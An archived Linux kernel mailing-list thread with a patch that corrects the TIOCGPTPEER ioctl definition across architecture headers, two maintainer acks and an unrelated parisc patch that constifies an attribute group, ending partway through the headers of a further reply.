Approved: news@gmane.org
Message-ID: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1499731957 10774 195.159.176.226 (11 Jul 2017 00:12:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Jul 2017 00:12:37 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        "Dmitry V. Levin" <ldv@altlinux.org>, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-xtensa@linux-xtensa.org, linux-arch@vger.kernel.org
To: Aleksa Sarai <asarai@suse.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jul 11 02:12:32 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1dUin0-0002RC-Sq
	for glka-linux-arch@m.gmane.org; Tue, 11 Jul 2017 02:12:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754951AbdGKAMe (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Mon, 10 Jul 2017 20:12:34 -0400
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:53058 "EHLO
        vmicros1.altlinux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754927AbdGKAMe (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Mon, 10 Jul 2017 20:12:34 -0400
Original-Received: from imap.altlinux.org (imap.altlinux.org [194.107.17.38])
        by vmicros1.altlinux.org (Postfix) with ESMTP id D700F72F1F1;
        Tue, 11 Jul 2017 03:12:30 +0300 (MSK)
Original-Received: from glebfm.cloud.tilaa.com (glebfm.cloud.tilaa.com [84.22.98.219])
        by imap.altlinux.org (Postfix) with ESMTPSA id 0DDA34A4AED;
        Tue, 11 Jul 2017 03:12:30 +0300 (MSK)
Content-Disposition: inline
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:38228 gmane.linux.kernel:2520462 gmane.linux.ports.alpha:4350 gmane.linux.ports.mips.general:60304 gmane.linux.ports.parisc:27552 gmane.linux.ports.ppc64.devel:144618 gmane.linux.ports.sh.devel:55682 gmane.linux.ports.sparc:25850
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/38228>

This ioctl does nothing to justify an _IOC_READ or _IOC_WRITE flag
because it doesn't copy anything from/to userspace to access the
argument.

Fixes: 54ebbfb1 ("tty: add TIOCGPTPEER ioctl")
Signed-off-by: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>
---
 arch/alpha/include/uapi/asm/ioctls.h   | 2 +-
 arch/mips/include/uapi/asm/ioctls.h    | 2 +-
 arch/parisc/include/uapi/asm/ioctls.h  | 2 +-
 arch/powerpc/include/uapi/asm/ioctls.h | 2 +-
 arch/sh/include/uapi/asm/ioctls.h      | 2 +-
 arch/sparc/include/uapi/asm/ioctls.h   | 2 +-
 arch/xtensa/include/uapi/asm/ioctls.h  | 2 +-
 include/uapi/asm-generic/ioctls.h      | 2 +-
 8 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/ioctls.h b/arch/alpha/include/uapi/asm/ioctls.h
index ff67b837..1cd7dc7 100644
--- a/arch/alpha/include/uapi/asm/ioctls.h
+++ b/arch/alpha/include/uapi/asm/ioctls.h
@@ -100,7 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/mips/include/uapi/asm/ioctls.h b/arch/mips/include/uapi/asm/ioctls.h
index 68e19b6..1609cb0 100644
--- a/arch/mips/include/uapi/asm/ioctls.h
+++ b/arch/mips/include/uapi/asm/ioctls.h
@@ -91,7 +91,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 /* I hope the range from 0x5480 on is free ... */
 #define TIOCSCTTY	0x5480		/* become controlling tty */
diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
index 674c68a..d0e3321 100644
--- a/arch/parisc/include/uapi/asm/ioctls.h
+++ b/arch/parisc/include/uapi/asm/ioctls.h
@@ -60,7 +60,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define FIONCLEX	0x5450  /* these numbers need to be adjusted. */
 #define FIOCLEX		0x5451
diff --git a/arch/powerpc/include/uapi/asm/ioctls.h b/arch/powerpc/include/uapi/asm/ioctls.h
index bfd609a..e3b1046 100644
--- a/arch/powerpc/include/uapi/asm/ioctls.h
+++ b/arch/powerpc/include/uapi/asm/ioctls.h
@@ -100,7 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/sh/include/uapi/asm/ioctls.h b/arch/sh/include/uapi/asm/ioctls.h
index eec7901..787bac9 100644
--- a/arch/sh/include/uapi/asm/ioctls.h
+++ b/arch/sh/include/uapi/asm/ioctls.h
@@ -93,7 +93,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83) /* 0x5453 */
 #define TIOCSERGWILD	_IOR('T', 84,  int) /* 0x5454 */
diff --git a/arch/sparc/include/uapi/asm/ioctls.h b/arch/sparc/include/uapi/asm/ioctls.h
index 6d27398..f5df72b 100644
--- a/arch/sparc/include/uapi/asm/ioctls.h
+++ b/arch/sparc/include/uapi/asm/ioctls.h
@@ -88,7 +88,7 @@
 #define TIOCGPTN	_IOR('t', 134, unsigned int) /* Get Pty Number */
 #define TIOCSPTLCK	_IOW('t', 135, int) /* Lock/unlock PTY */
 #define TIOCSIG		_IOW('t', 136, int) /* Generate signal on Pty slave */
-#define TIOCGPTPEER	_IOR('t', 137, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('t', 137) /* Safely open the slave */
 
 /* Little f */
 #define FIOCLEX		_IO('f', 1)
diff --git a/arch/xtensa/include/uapi/asm/ioctls.h b/arch/xtensa/include/uapi/asm/ioctls.h
index 98b004e..47d82c0 100644
--- a/arch/xtensa/include/uapi/asm/ioctls.h
+++ b/arch/xtensa/include/uapi/asm/ioctls.h
@@ -105,7 +105,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83)
 #define TIOCSERGWILD	_IOR('T', 84,  int)
diff --git a/include/uapi/asm-generic/ioctls.h b/include/uapi/asm-generic/ioctls.h
index 06d5f7d..14baf9f2 100644
--- a/include/uapi/asm-generic/ioctls.h
+++ b/include/uapi/asm-generic/ioctls.h
@@ -77,7 +77,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
-#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
+#define TIOCGPTPEER	_IO('T', 0x41) /* Safely open the slave */
 
 #define FIONCLEX	0x5450
 #define FIOCLEX		0x5451

-- 
glebfm


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH] tty: Fix TIOCGPTPEER ioctl definition
Date: Tue, 11 Jul 2017 12:07:43 +1000
Lines: 14
Approved: news@gmane.org
Message-ID: <f1cac5bf-d34f-9684-b27b-20e973f454a0@suse.de>
References: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1499738885 27063 195.159.176.226 (11 Jul 2017 02:08:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Jul 2017 02:08:05 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        "Dmitry V. Levin" <ldv@altlinux.org>, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-xtensa@linux-xtensa.org, linux-arch@vger.kernel.org
To: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jul 11 04:07:59 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1dUkak-0006ii-VC
	for glka-linux-arch@m.gmane.org; Tue, 11 Jul 2017 04:07:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755209AbdGKCID (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Mon, 10 Jul 2017 22:08:03 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:46538 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1755190AbdGKCIB (ORCPT <rfc822;linux-arch@vger.kernel.org>);
        Mon, 10 Jul 2017 22:08:01 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 50A38AC29;
        Tue, 11 Jul 2017 02:07:54 +0000 (UTC)
In-Reply-To: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
Content-Language: en-US
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:38230 gmane.linux.kernel:2520507 gmane.linux.ports.alpha:4351 gmane.linux.ports.mips.general:60305 gmane.linux.ports.parisc:27553 gmane.linux.ports.ppc64.devel:144620 gmane.linux.ports.sh.devel:55683 gmane.linux.ports.sparc:25851
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/38230>

> This ioctl does nothing to justify an _IOC_READ or _IOC_WRITE flag
> because it doesn't copy anything from/to userspace to access the
> argument.

   Acked-by: Aleksa Sarai <asarai@suse.de>

Oops, I misunderstood what _IOR means semantically. TIL -- thanks!

-- 
Aleksa Sarai
Software Engineer (Containers)
SUSE Linux GmbH
https://www.cyphar.com/


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] tty: Fix TIOCGPTPEER ioctl definition
Date: Tue, 11 Jul 2017 09:30:14 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <CAK8P3a1uJc0dNoELw1KWKnc9Lme3HDxR2Coj0-snuCmO4n-81A@mail.gmail.com>
References: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1499758236 9580 195.159.176.226 (11 Jul 2017 07:30:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Jul 2017 07:30:36 +0000 (UTC)
Cc: Aleksa Sarai <asarai@suse.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        "Dmitry V. Levin" <ldv@altlinux.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-alpha@vger.kernel.org,
        "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
        linux-sh@vger.kernel.org, sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        linux-arch <linux-arch@vger.kernel.org>
To: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 11 09:30:28 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dUpcl-0001tD-10
	for glk-linux-kernel-3@m.gmane.org; Tue, 11 Jul 2017 09:30:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755417AbdGKHa0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 11 Jul 2017 03:30:26 -0400
Original-Received: from mail-oi0-f66.google.com ([209.85.218.66]:33816 "EHLO
        mail-oi0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753178AbdGKHaV (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 11 Jul 2017 03:30:21 -0400
Original-Received: by mail-oi0-f66.google.com with SMTP id d77so14631545oig.1;
        Tue, 11 Jul 2017 00:30:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=j42UM+l67ybSj9H+sUgHlPehOBQ67zJxoPae4Os7tdM=;
        b=GfTbOHQ4fe9k6y0v0ZPynk8j+4lrTmKrSH5tyT7qRgNUq2EQyJHGBQo+jwSJU4hlQk
         Wp6Kk9OC2GuyzjQiQZ3hmBELPEaJWOxMIoyrOeY4wy9jYPq7RdC08FZ6hOCVYt78knJW
         5mcHvFsdo4C/MZ9ZqZ0o7jvJx2riEm9sdvWrmsoXXGAN4yuXfhhbxnhLrVOtxqiuZh/O
         wP7IV4z84jcZp1VjtUe018eGMaz4gj2POItzrNtID/Fi5UG4daZQ3QiTkD9ZdRfJoULD
         uHjGHC/TA74oOYq1QxN/uXzDGkuhL9GRLeb+5Z0i7/UJEcHtlboVH+lgTvqe3tVDqxYE
         mydQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=j42UM+l67ybSj9H+sUgHlPehOBQ67zJxoPae4Os7tdM=;
        b=AczVWnUhOawqqqpywmrSGeCvfh7bQpkVpED385Ss30Idb+eADF73wJkBZGGUEd3aTo
         qmPwCyt3th+lyni5iRoG17aMr09Fyvx3pNtmwImfk2JTnWGolvZJFQO62gZJAvAR1QOl
         wuBzFXb3sSrfcmfeD3YpH0R8GgSFTBa0tZRoTU4hNUYJBIoW0Gk7PweOTaGUhJoyjghV
         LYCLIeIL/omUiT5FVu2cbABVMO4w178SYjug7VQDItr7L1+OJnG0WKgy3DqeerSfLwEz
         hH5z27hrdLBzPXimyLcSC2TbEnONlYOqsy+E0ShQymu/ppZ3SfnP73SON9lumLpHoKZD
         owbg==
X-Gm-Message-State: AIVw110aF5MVO7PSf0tjHMg4l0ZtmCYNE4bsuR+vOj/jI9wGg3NBkQPB
        fTKYz2opZDA57j70CzTNi5KZEbCpGg==
X-Received: by 10.202.166.136 with SMTP id t8mr11270698oij.61.1499758215626;
 Tue, 11 Jul 2017 00:30:15 -0700 (PDT)
Original-Received: by 10.182.78.163 with HTTP; Tue, 11 Jul 2017 00:30:14 -0700 (PDT)
In-Reply-To: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
X-Google-Sender-Auth: O_9qzVRUe7a_LTiGXtdMhC3WNkQ
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2520603 gmane.linux.ports.alpha:4352 gmane.linux.ports.mips.general:60307 gmane.linux.ports.parisc:27554 gmane.linux.ports.ppc64.devel:144631 gmane.linux.ports.sh.devel:55685 gmane.linux.ports.sparc:25853 gmane.linux.kernel.cross-arch:38235
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2520603>

On Tue, Jul 11, 2017 at 2:12 AM, Gleb Fotengauer-Malinovskiy
<glebfm@altlinux.org> wrote:
> This ioctl does nothing to justify an _IOC_READ or _IOC_WRITE flag
> because it doesn't copy anything from/to userspace to access the
> argument.
>
> Fixes: 54ebbfb1 ("tty: add TIOCGPTPEER ioctl")
> Signed-off-by: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>

Acked-by: Arnd Bergmann <arnd@arndb.de>


From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: pdc_stable: constify attribute_group structures.
Date: Tue, 11 Jul 2017 14:30:34 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <d7b7c51aafc608a9be4d136d63d8d0a05f36dd82.1499763477.git.arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1499763669 19551 195.159.176.226 (11 Jul 2017 09:01:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Jul 2017 09:01:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 11 11:01:05 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dUr2R-0004f5-V2
	for glk-linux-kernel-3@m.gmane.org; Tue, 11 Jul 2017 11:01:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932514AbdGKJBD (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 11 Jul 2017 05:01:03 -0400
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:33232 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932387AbdGKJBB (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 11 Jul 2017 05:01:01 -0400
Original-Received: by mail-pf0-f194.google.com with SMTP id e199so18145068pfh.0;
        Tue, 11 Jul 2017 02:01:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=pXpwfPqLSQj4hxrlmdx11IWXHByNFZKNMCDLFoJXgTU=;
        b=XXNx2a9BMpV8vqwhbtdCdJwwNcIloxozmQMl/cPg3ztuObMFm3dUJm4eHm+Z0mE6VV
         HGumSKFBxemN76h6+FTxtUryqFxMYUvEGfiyi13/ELAWVmpPhot5eAggej3IEod4yFnw
         jTp1hShPBdcw6+/IcoOK5BjJEBETutq9Ht7YI6CovrF/PiQs8SgTfmZSApcCnfhJEWch
         2ftiFuE8I18IMo+cr9RljK5Xmy4UrJHqm1jP6OhNVbm8jm3PFewrAaM2civzNYGJM2PL
         6lEy6RRFjj5IB5pQY5yNvTybgejrP/+asBaqAVbEnZgwgFePIcGhuLSzEdjlUIDET/Su
         Gv2Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=pXpwfPqLSQj4hxrlmdx11IWXHByNFZKNMCDLFoJXgTU=;
        b=k4bCl/zpFWIJukubF7gYRHN6Tp20kTwrEdnQhgjhRvbNA7xIdKy2GiR3ye/wiu4AuL
         hTNEZMzFEWcrGC+Joh0rO2izn+qQCGZx90ffwzgo+KJj8CAHkz1hU9qkgJ5QrkEPGKZz
         +2bwoQ/gtCnKBs+mYa3ZR/xyDgXQjHaKCScP6RmdB/CKrKEKwpUzShR1UWOjmGPYQkpu
         beNznbqlH4KT8sSGR/seOu6S9+wt5P1G71MXzbWzw8TzNnzDWcUqSDX+mRgSfJoCdL2b
         ksE+8z4q3Qv5EXS+3rQVVXQu9kEuiMuttPhSsy3WJxSYXBJGUl+3lizdA5ONVImt6EvN
         L9aA==
X-Gm-Message-State: AIVw113SxystRfzKga5SMHZ/Xh01X9+Qyux1qxMVE+qxwG1xGFRpeq+k
        gGn4TCr1Eql2/qmXvyQ=
X-Received: by 10.84.225.129 with SMTP id u1mr22940730plj.70.1499763660414;
        Tue, 11 Jul 2017 02:01:00 -0700 (PDT)
Original-Received: from symbol-HP-Z420-Workstation.zebra.lan ([223.31.70.102])
        by smtp.googlemail.com with ESMTPSA id q88sm30134027pfa.10.2017.07.11.02.00.58
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 11 Jul 2017 02:00:59 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2520674 gmane.linux.ports.parisc:27555
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2520674>

attribute_groups are not supposed to change at runtime. All functions
working with attribute_groups provided by <linux/sysfs.h> work
with const attribute_group. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/pdc_stable.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 055f83f..7147aa5 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -954,7 +954,7 @@ static ssize_t pdcs_osdep2_write(struct kobject *kobj,
 	NULL,
 };
 
-static struct attribute_group pdcs_attr_group = {
+static const struct attribute_group pdcs_attr_group = {
 	.attrs = pdcs_subsys_attrs,
 };
 
-- 
1.9.1



From - Thu Nov 08 21:40:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH] tty: Fix TIOCGPTPEER ioctl definition
Date: Tue, 11 Jul 2017 11:03:43 +0100
Lines: 175
Approved: news@gmane.org
Message-ID: <20170711100343.GP31455@jhogan-linux.le.imgtec.org>
References: <20170711001207.GA11642@glebfm.cloud.tilaa.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
        protocol="application/pgp-signature"; boundary="Zfao1/4IORAeFOVj"
X-Trace: blaine.gmane.org 1499767430 9754 195.159.176.226 (11 Jul 2017 10:03:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 11 Jul 2017 10:03:50 +0000 (UTC)
User-Agent: Mutt/1.7.2 (2016-11-26)
Cc: Aleksa Sarai <asarai@suse.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        "Dmitry V. Levin" <ldv@altlinux.org>,
        <linux-kernel@vger.kernel.org>, <linux-alpha@vger.kernel.org>,
        <linux-mips@linux-mips.org>, <linux-parisc@vger.kernel.org>,
        <linuxppc-dev@lists.ozlabs.org>, <linux-sh@vger.kernel.org>,
        <sparclinux@vger.kernel.org>, <linux-xtensa@linux-xtensa.org>,
        <linux-arch@vger.kernel.org>
To: Gleb Fotengauer-Malinovskiy <glebfm@altlinux.org>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jul 11 12:03:45 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1dUs1A-0002Bj-Vh
	for glka-linux-arch@m.gmane.org; Tue, 11 Jul 2017 12:03:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755423AbdGKKDt (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Tue, 11 Jul 2017 06:03:49 -0400
Original-Received: from mailapp01.imgtec.com ([195.59.15.196]:26962 "EHLO
        imgpgp01.kl.imgtec.org" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1755309AbdGKKDr (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Tue, 11 Jul 2017 06:03:47 -0400
Original-Received: from imgpgp01.kl.imgtec.org (imgpgp01.kl.imgtec.org [127.0.0.1])
        by imgpgp01.kl.imgtec.org (PGP Universal) with ESMTP id 8F60141F8E67;
        Tue, 11 Jul 2017 12:14:22 +0100 (BST)
